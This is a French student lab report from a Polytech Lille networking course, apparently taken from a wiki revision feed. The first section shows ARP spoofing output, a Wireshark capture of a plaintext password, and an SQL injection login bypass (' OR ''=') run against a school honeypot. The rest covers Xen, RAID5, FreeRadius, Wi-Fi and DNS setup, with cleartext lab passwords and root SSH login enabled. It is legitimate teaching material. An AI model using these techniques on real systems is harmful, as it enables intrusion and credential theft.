    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte. &lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...               &lt;br /&gt;
&lt;br /&gt;
Le wifi SSID_Lulya est visible et accessible.&lt;br /&gt;
&lt;br /&gt;
Dot11Radio 0 : 2.5 GHz&lt;br /&gt;
&lt;br /&gt;
Dot11rRadio 1 : 5 GHz&lt;br /&gt;
&lt;br /&gt;
Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.&lt;br /&gt;
&lt;br /&gt;
Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.&lt;br /&gt;
   ap#sh dot11 bssid&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54710</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54710"/>
				<updated>2020-12-15T14:38:35Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Configuration des points d'accès WiFi */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage. &lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2     //0 sauvegarde et 2 place&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid       //Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space      1&lt;br /&gt;
    ns6.gandi.net       2&lt;br /&gt;
Pour le prise en compte ces modifications, on attend de 12 à 24h. &lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
